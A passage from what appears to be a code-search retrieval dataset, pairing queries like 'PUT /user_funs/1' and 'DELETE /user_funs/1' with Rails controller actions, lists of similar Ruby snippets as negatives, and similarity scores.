"0.6899815",
"0.6872671",
"0.6872671",
"0.6868551",
"0.68684214",
"0.6860861",
"0.6847907",
"0.6823381",
"0.6823381",
"0.6823381",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981",
"0.6809981"
] |
0.78505397
|
1
|
PUT /user_funs/1 PUT /user_funs/1.json
|
def update
@user_fun = UserFun.find(params[:id])
respond_to do |format|
if @user_fun.update_attributes(params[:user_fun])
format.html { redirect_to @user_fun, :notice => 'User fun was successfully updated.' }
format.json { head :no_content }
else
format.html { render :action => "edit" }
format.json { render :json => @user_fun.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @fun.update(fun_params)\n format.html { redirect_to @fun, notice: 'Fun was successfully updated.' }\n format.json { render :show, status: :ok, location: @fun }\n else\n format.html { render :edit }\n format.json { render json: @fun.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fun = Fun.find(params[:id])\n\n respond_to do |format|\n if @fun.update_attributes(params[:fun])\n format.html { redirect_to @fun, :notice => 'Fun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @fun.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @for_fun.update(for_fun_params)\n format.html { redirect_to @for_fun, notice: 'For fun was successfully updated.' }\n format.json { render :show, status: :ok, location: @for_fun }\n else\n format.html { render :edit }\n format.json { render json: @for_fun.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"def update_user\n end",
"def update\n render json: Users.update(params[\"id\"], params[\"user\"])\n end",
"def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update\n @user_function = UserFunction.find(params[:id])\n\n respond_to do |format|\n if @user_function.update_attributes(params[:user_function])\n flash[:notice] = 'UserFunction was successfully updated.'\n format.html { redirect_to([:admin,@user_function]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_function.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def UpdateUser params = {}\n \n APICall(path: 'users.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update \n user = User.find(params[:id])\n # byebug\n user.update(user_params)\n\n render json: user\n end",
"def update\n user = @user_service.update_user(params[:id])\n render json: user, status: :ok\n end",
"def updateUser\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.put(\"http://192.168.99.101:4051/users/\"+@current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.role = params[:type]\n @user.save\n render json:@user\n end",
"def test_user_features\n \n # create new user\n post '/user', \"{ \\\"First Name\\\": \\\"Tom\\\", \\\"Last Name\\\": \\\"#{$user_name}\\\", \\\"User Login\\\": \\\"#{$user_name}\\\", \\\"act_key\\\": 1, \\\"Role\\\": \\\"Full-Time\\\" }\"\n assert (last_response.status == 200), \"Create user: response is not 200\"\n \n # get user with Last Name \"$user_guid\"\n get \"/user?Last%20Name=#{$user_name}\"\n $user_guid = JSON::parse(last_response.body)[0]['usr_key']\n assert (last_response.body.size > 50), \"Get user by name: response too small for valid data\"\n\n # modify user with guid defined in @guid variable\n put \"/user/#{$user_guid}\", '{\"Fax\": \"12345\", \"Description\": \"User Description\"}'\n assert (last_response.status == 200), \"Put user (modify): response is not 200\"\n \n # get user with uid defined in $user_guid variable\n get \"/user/#{$user_guid}\"\n assert (last_response.body.size > 50), \"Get user by id: response too small for valid data\"\n\n # change password for user with guid defined in $user_guid variable\n put \"/user/#{$user_guid}/password\", '{\"password\": \"Montag14\", \"notify_racf\": \"false\"}'\n assert (last_response.status == 200), \"Response is not 200\"\n \n # get user with uid defined in $user_name variable\n get \"/#{$user_name}\"\n assert (last_response.body.size > 50), \"Get user by username: response too small for valid data\"\n\n ## change password for user with user login defined in $user_name variable\n put \"/#{$user_name}/password\", '{\"password\": \"Montag15\", \"notify_racf\": false}'\n assert (last_response.status == 200), \"Response is not 200\"\n \n # get all users\n get '/user'\n assert (last_response.body.size > 50), \"Get all users: Response too small for valid data\"\n\n # get available user attributes\n get '/user/attributes'\n assert (last_response.body.size > 50), \"Get user attributes: Response too small for valid data\"\n \n # delete user with uid defined in @guid variable\n delete \"/user/#{$user_guid}\"\n assert (last_response.status == 204), \"Response is not 204\"\n end",
"def modify_user(user)\n query_api_object Model::User, '/rest/user', user.to_hash, 'PUT'\n end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def update\n user = User.find_by(id: params[:id])\n user.update(user_params)\n render json: user\n end",
"def update\n user = User.find(params[:id])\n user.update(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors\n end\n end",
"def destroy\n @user_fun = UserFun.find(params[:id])\n @user_fun.destroy\n\n respond_to do |format|\n format.html { redirect_to user_funs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_fun = UserFun.find(params[:id])\n @user_fun.destroy\n\n respond_to do |format|\n format.html { redirect_to user_funs_url }\n format.json { head :no_content }\n end\n end",
"def update\n \trespond_to do |format|\n if @user.update(user_params)\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n\t \t\n end",
"def update\n @todo = Todo.find(params[:todo][:id])\n if @todo.update_attributes(user_params)\n render json: @todo\n else\n render nothing: true, status: :bad_request\n end\n end",
"def update\n if user.update(user_params)\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: {error: \"Could not update user\"}\n end\n end",
"def test_user_update\n new_data = {\n 'OrgDefinedId' => 'ruby-test',\n 'FirstName' => 'Test-User',\n 'MiddleName' => 'changed',\n 'LastName' => 'Test',\n 'ExternalEmail' => nil, # Predefines user data, in the case that\n 'UserName' => 'test-ruby-user1234', # there is are variables left out in the JSON\n 'Activation' => {\n 'IsActive' => true\n }\n }\n user_id = get_user_by_username(new_data['UserName'])['UserId']\n update_user_data(user_id, new_data)\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update user_params(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n render json:@user\n else\n render json: { error: {code: 404, message: 'Invalid user' }}, status: :not_found\n end\n end",
"def update\n user = User.find(params[:id])\n if user.update(params_user)\n render json: user, status: 200\n else\n render json: user.errors, status: 422\n end\n\n end",
"def update\n @myuser = Myuser.find(params[:id])\n\n if @myuser.update(myuser_params)\n head :no_content\n else\n render json: @myuser.errors, status: :unprocessable_entity\n end\n end",
"def update\n user = find_user\n user.update!(user_params)\n render json: user\n end",
"def show\n @user_fun = UserFun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user_fun }\n end\n end",
"def show\n @user_fun = UserFun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user_fun }\n end\n end",
"def index\n @user_funs = UserFun.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @user_funs }\n end\n end",
"def update\n user = User.find(params[:id])\n render json: { status: 200, msg: 'User details have been updated.' } if user.update(user_params)\n end",
"def modify_user(user)\n query_api_object User, \"/rest/user\", user.dump(), \"PUT\"\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n user = User.find(params[:id])\n\n # Use update with user_params to do a mass-assignment update and save. \n if user.update_attributes(user_params)\n render json: user\n else \n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n if @api_v1_user.update(api_v1_user_params)\n head :no_content\n else\n render json: @api_v1_user.errors, status: :unprocessable_entity\n end\n end",
"def update_user\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status :unprocessable_entity\n end\n end",
"def change_status\n @user = User.find(params[:data])\n\n respond_to do |format|\n if @user.update_attributes(status: params[:status])\n format.json { render json: @user }\n else\n format.json { render json: @user.errors.messages, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n user = User.find(params[:user_id])\n if user.update(user_params)\n render json: { users: user }, status: :ok\n else\n render json: { errors: user.errors.messages }, status: 422\n end\n rescue => e\n render json: { errors: e.message }, status: 404\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params[:user]))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @funcao.update(funcao_params)\n format.html { redirect_to @funcao, notice: 'Funcao was successfully updated.' }\n format.json { render :show, status: :ok, location: @funcao }\n else\n format.html { render :edit }\n format.json { render json: @funcao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @funeral.update(funeral_params)\n format.html { redirect_to @funeral, notice: 'Funeral was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @funeral.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @member_function.update(member_function_params)\n format.html { redirect_to @member_function, notice: 'Member function was successfully updated.' }\n format.json { render :show, status: :ok, location: @member_function }\n else\n format.html { render :edit }\n format.json { render json: @member_function.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.save\n render json:@user\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n\n respond_to do |format|\n if @funeral.update_attributes(params[:funeral])\n format.html { redirect_to @funeral, notice: 'Funeral was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @funeral.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ums_function.update(ums_function_params)\n format.html { redirect_to ums.functions_url, notice: '功能修改成功' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' , status: :unprocessable_entity}\n format.json { render json: @ums_function.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = current_api_user\n unless @user.update(user_params)\n render json: { error: @user.errors.full_messages.to_sentence }, status: :not_found\n end\n end",
"def update\n respond_to do |format|\n if @funtion.update(funtion_params)\n format.html { redirect_to @funtion, notice: 'Funtion was successfully updated.' }\n format.json { render :show, status: :ok, location: @funtion }\n else\n format.html { render :edit }\n format.json { render json: @funtion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_current_logged_in_user(args = {}) \n id = args['id']\n temp_path = \"/users.json/current\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update_user\n query = User.pluck(:device_id).index(params[:device_id])\n if query == nil\n @new_user = User.create(device_id: params[:device_id], nickname: params[:name], level: params[:level], score_single: params[:score])\n #binding.pry\n b_60 = Leaderboards.insert_leaderboard_single(params[:device_id], params[:score])\n rank_self = Leaderboards.get_rank_in_single(params[:device_id])\n render json: { code: \"1\", info: \"create user\", refresh_top: b_60, rank: rank_self}\n else\n @user = User.find_by(device_id: params[:device_id])\n @user.score_single = params[:score]\n @user.nickname = params[:name]\n @user.level = params[:level]\n @user.save!\n b_60 = Leaderboards.insert_leaderboard_single(params[:device_id], params[:score])\n rank_self = Leaderboards.get_rank_in_single(params[:device_id])\n render json: { code: \"1\", info: \"update user\", refresh_top: b_60, rank: rank_self }\n end\n end",
"def update \n user = User.where(:id => current_user.user)\n if user.update(user_params)\n render :json => {:user => user }\n else\n render :json => {:error => user.errors.full_messages.first}\n end\nend",
"def update\n if @user.id == current_api_user.id\n if @user.update(user_params)\n render json: @user.as_json(except: [:updated_at]), status: :ok\n else\n render json: @user.errors, status: :bad_request\n end\n else\n render json: '', status: :forbidden\n end\n end",
"def update\n\t\tif @user.update(users_params)\n \t\tjson_response(@user, \"User Update Successfully.\")\n \telse\n \t\trender json: {message: @user.errors.full_messages.join(\" \")}, status: 400\n \tend\n\tend",
"def update\n respond_to do |format|\n if @user\n @user.active = false\n @user.pending = false\n @user.save\n end\n format.json { render json: {:status => :ok}}\n end\n end",
"def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: user\n else\n render json: user.errors.full_messages\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: :ok, location: api_application_user_path(@application,@user)\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user.update(user_params_update)\n json_response(@user)\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: 200\n else\n render json: @user.errors, status: 422\n end\n end",
"def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end",
"def update\n @user = User.find(params[:id])\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def set_fun\n @fun = Fun.find(params[:id])\n end",
"def update\n\t\tif @user.update(user_params)\n\t\t\trender json: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def update\n @api_user = ApiUser.find(params[:id])\n\n if @api_user.update(api_user_params)\n head :no_content\n else\n render json: @api_user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update_profile\n \t@user = User.find_by_id(params[:id])\n \tif @user.nil?\n render :json => {:message => \"User not exists\"}, :status => :not_acceptable\n else\n \tbegin\n\t @user.update_attributes(params[:user])\n\t @user.save!\n\t render :json => {:success => true, :message => \"User updated\", :user =>@user}, :status => :ok\n\t rescue Exception => e\n\t \tp e.backtrace\n\t render :json => {:success => false, :message => e.backtrace}, :status => :not_acceptable\n\t end\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.update(user_params)\n render json: @current_user\n end",
"def user_update_me(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: UserApi#user_update_me ... opts: #{opts}\"\n end\n\n # resource path\n path = \"/user\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n form_params[\"firstname\"] = opts[:'firstname'] if opts[:'firstname']\n form_params[\"lastname\"] = opts[:'lastname'] if opts[:'lastname']\n form_params[\"oldPassword\"] = opts[:'old_password'] if opts[:'old_password']\n form_params[\"newPassword\"] = opts[:'new_password'] if opts[:'new_password']\n form_params[\"newPasswordConfirm\"] = opts[:'new_password_confirm'] if opts[:'new_password_confirm']\n form_params[\"country\"] = opts[:'country'] if opts[:'country']\n form_params[\"pgpPubKey\"] = opts[:'pgp_pub_key'] if opts[:'pgp_pub_key']\n\n # http body (model)\n post_body = nil\n\n\n auth_names = []\n result = @api_client.call_api(:PUT, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'User')\n if Configuration.debugging\n Configuration.logger.debug \"API called: UserApi#user_update_me. Result: #{result.inspect}\"\n end\n return result\n end",
"def update\n if params.include?(:phone_number) and params.include?(:name) and params.include?(:address) and params.include?(:email) and params.include?(:description)\n phone_number = params[:phone_number]\n name = params[:name]\n address = params[:address]\n email = params[:email]\n description = params[:description]\n render json: update_user(phone_number, email, address, name, description)\n else\n result = {:success => false, :message => 'please check the paramaters'}\n render json: result\n end\n end",
"def update\n if @user.update(user_params)\n render json: {user: @user, token: @token}\n else\n frender json: @user.errors, status: :unprocessable_entity \n end\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: :ok, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @user_fable.update(user_fable_params)\n format.html { redirect_to @user_fable, notice: 'User fable was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_fable }\n else\n format.html { render :edit }\n format.json { render json: @user_fable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def custom_update\n user = User.find(params[:id])\n user.update_attributes(params[:user])\n render :text => true\n end",
"def update\n if @user.update(user_params)\n render json: {message: \"user updated successfuly\"}\n else\n render json: {message: \"Error\"}\n end\n end",
"def test_update_successful\n data = {\n firstname: \"Anh\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"anh@gmallds.sl\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 200\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n respond_to do |format|\n if @func.update(func_params)\n format.html { redirect_to @func, notice: 'Func was successfully updated.' }\n format.json { render :show, status: :ok, location: @func }\n else\n format.html { render :edit }\n format.json { render json: @func.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put user_id, options={}, headers={}\n @connection.put \"users/#{user_id}.json\", options, headers\n end",
"def create\n @fun = Fun.new(params[:fun])\n\n respond_to do |format|\n if @fun.save\n format.html { redirect_to @fun, :notice => 'Fun was successfully created.' }\n format.json { render :json => @fun, :status => :created, :location => @fun }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @fun.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_user\n user = current_user\n if user.update(update_params)\n render json: { status: { updated: \"Ok\" } }\n else\n render json: user.errors.full_messages\n end\n end",
"def update_user_defined_field(udf_id, params)\n RubyRedtail::Query.run(\"contacts/#{@id}/udf/#{udf_id}\", @api_hash, 'PUT', params)\n end",
"def update\n @funcionario = Funcionario.find(params[:id])\n\n respond_to do |format|\n if @funcionario.update_attributes(params[:funcionario])\n format.html { render :json => {:success => true} }\n format.xml { render :xml => @funcionario, :status => :created, :location => @funcionario }\n else\n format.html { render :json => ( (@funcionario.errors.full_messages.join(\".<br />\").to_s + \".\").to_json ) } unless @funcionario.errors.empty?\n end\n end\n end",
"def update\n @factors_user = FactorsUser.find(params[:id])\n\n respond_to do |format|\n if @factors_user.update_attributes(params[:factors_user])\n format.html { redirect_to @factors_user, notice: 'Factors user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @factors_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: {\n status: 'OK',\n msg: 'User details have been updated.',\n error: 'nil'\n }, status: :accepted\n else\n not_good(406)\n end\n end",
"def update_user(options)\n patch(\"/user\", options, 3)\n end",
"def update\n @user = User.find(params[:id]) \n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User #{@user.name} was successfully created.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_user_for_tenant(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/{tenantId}/users/{userId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n respond_to do |format|\n if @funeral_info.update(funeral_info_params)\n format.html { redirect_to @funeral_info, notice: 'Funeral info was successfully updated.' }\n format.json { render :show, status: :ok, location: @funeral_info }\n else\n format.html { render :edit }\n format.json { render json: @funeral_info.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6353547",
"0.6350216",
"0.6221167",
"0.6041664",
"0.600621",
"0.60039973",
"0.59994996",
"0.598807",
"0.598807",
"0.5945116",
"0.583446",
"0.580848",
"0.5807766",
"0.5788849",
"0.57870704",
"0.5733116",
"0.57325166",
"0.5731583",
"0.57263786",
"0.57020533",
"0.5671742",
"0.5671742",
"0.5663775",
"0.56247294",
"0.56181365",
"0.56176764",
"0.5612531",
"0.5612007",
"0.55959153",
"0.558893",
"0.5582095",
"0.557645",
"0.55716115",
"0.55716115",
"0.55679214",
"0.5556346",
"0.55494416",
"0.5546414",
"0.5546414",
"0.5543557",
"0.554047",
"0.5532435",
"0.55230856",
"0.5504226",
"0.5503904",
"0.5503661",
"0.5498113",
"0.5495088",
"0.54889756",
"0.54841816",
"0.5484169",
"0.54778874",
"0.5475315",
"0.5469347",
"0.54655397",
"0.5462517",
"0.5451953",
"0.544831",
"0.5439984",
"0.543745",
"0.54357517",
"0.54319584",
"0.5423326",
"0.5416712",
"0.5416456",
"0.5416456",
"0.5416446",
"0.5416446",
"0.5413862",
"0.5413862",
"0.541092",
"0.54103583",
"0.5408461",
"0.5408133",
"0.54074115",
"0.5407319",
"0.5403111",
"0.54015523",
"0.5401373",
"0.5400567",
"0.5397755",
"0.5384135",
"0.53841084",
"0.5383746",
"0.53837144",
"0.53821087",
"0.53774124",
"0.5375125",
"0.5374478",
"0.53705555",
"0.53681767",
"0.53677577",
"0.535988",
"0.535811",
"0.5353535",
"0.53480625",
"0.53462905",
"0.53455985",
"0.5341622"
] |
0.7342087
|
1
|
DELETE /user_funs/1 DELETE /user_funs/1.json
|
def destroy
@user_fun = UserFun.find(params[:id])
@user_fun.destroy
respond_to do |format|
format.html { redirect_to user_funs_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @fun = Fun.find(params[:id])\n @fun.destroy\n\n respond_to do |format|\n format.html { redirect_to funs_url }\n format.json { head :no_content }\n end\n end",
"def DeleteUser id\n \n APICall(path: \"users/#{id}.json\",method: 'DELETE')\n \n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def delete_user_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/users/#{args[:userId]}\", args)\nend",
"def destroy\n @user_function = UserFunction.find(params[:id])\n @user_function.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_user_functions_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n render json: Users.delete(params[\"id\"])\n end",
"def destroy\n @fun.destroy\n respond_to do |format|\n format.html { redirect_to funs_url, notice: 'Fun was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def delete_user\n end",
"def delete_user\n @user = User.find(params[:id])\n if @user.destroy\n render :json => @user\n else\n render :json => @user.errors.full_messages\n end\n end",
"def destroy\n \"\"\"\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n \"\"\"\n end",
"def destroy\n @user = User.find(params[:id])\n @user.status = 'deleted'\n @user.save!\n\n respond_to do |format|\n format.json { render :json => \"success\" }\n end\n end",
"def delete(id)\n request(:delete, \"/users/#{id}.json\")\n end",
"def delete\n @user.destroy\n respond_to do |format|\n format.html { redirect_to v1_resources_users_all_path, notice: 'User was deleted.' }\n format.json { head :no_content }\n end\n end",
"def call(id)\n client.delete(\"/api/rest/v1/users/#{id}.json\")\n true\n end",
"def remove_user\n query_api '/rest/user', nil, 'DELETE'\n end",
"def destroy\n @user = Foswipe::User.find(params[:id])\n @user.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @for_fun.destroy\n respond_to do |format|\n format.html { redirect_to for_funs_url, notice: 'For fun was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:user_uuid])\n @user.destroy\n head :ok\n end",
"def destroy\n @user.destroy\n render json: {message: 'Usuario Excluido'} , status: :ok\n end",
"def user_management_delete_user id\n # the base uri for api requests\n query_builder = Configuration.BASE_URI.dup\n\n # prepare query string for API call\n query_builder << \"/v1/users\"\n\n # process optional query parameters\n query_builder = APIHelper.append_url_with_query_parameters query_builder, {\n \"id\" => id,\n \"client_id\" => @client_id,\n \"client_secret\" => @client_secret,\n }\n\n # validate and preprocess url\n query_url = APIHelper.clean_url query_builder\n\n # prepare headers\n headers = {\n \"user-agent\" => \"IAMDATA V1\",\n \"accept\" => \"application/json\"\n }\n\n # invoke the API call request to fetch the response\n response = Unirest.delete query_url, headers:headers\n\n # Error handling using HTTP status codes\n if response.code == 404\n raise APIException.new \"Not found\", 404, response.raw_body\n elsif response.code == 401\n raise APIException.new \"Unauthorized\", 401, response.raw_body\n elsif !(response.code.between?(200,206)) # [200,206] = HTTP OK\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\n end\n\n response.body\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_user.destroy\n\n head :no_content\n end",
"def destroy\n @user = User.find_by_id_or_username params[:id]\n @user.destroy\n render api_delete @user\n end",
"def destroy\n user = User.find(params[:id]) # from url, nothing to do with table\n user.destroy\n render json: user\n end",
"def destroy\n @usertest = Usertest.find(params[:id])\n @usertest.destroy\n\n respond_to do |format|\n format.html { redirect_to usertests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n user = User.find(params[:id])\n if user.destroy\n render json: user\n else\n render json: user.errors\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @smalluser = Smalluser.find(params[:id])\n @smalluser.destroy\n\n respond_to do |format|\n format.html { redirect_to smallusers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ums_function.destroy\n respond_to do |format|\n format.html { redirect_to ums.functions_url , notice: '功能删除成功.'}\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find_by_id(params[:id])\n @user.destroy\n render :json=>{:status =>t('users.destroy.success')}\n end",
"def destroy\n @user = User.find_by_id(params[:id])\n @user.destroy\n render :json=>{:status =>t('users.destroy.success')}\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.json {render :json=> \"true\"}\n end\n end",
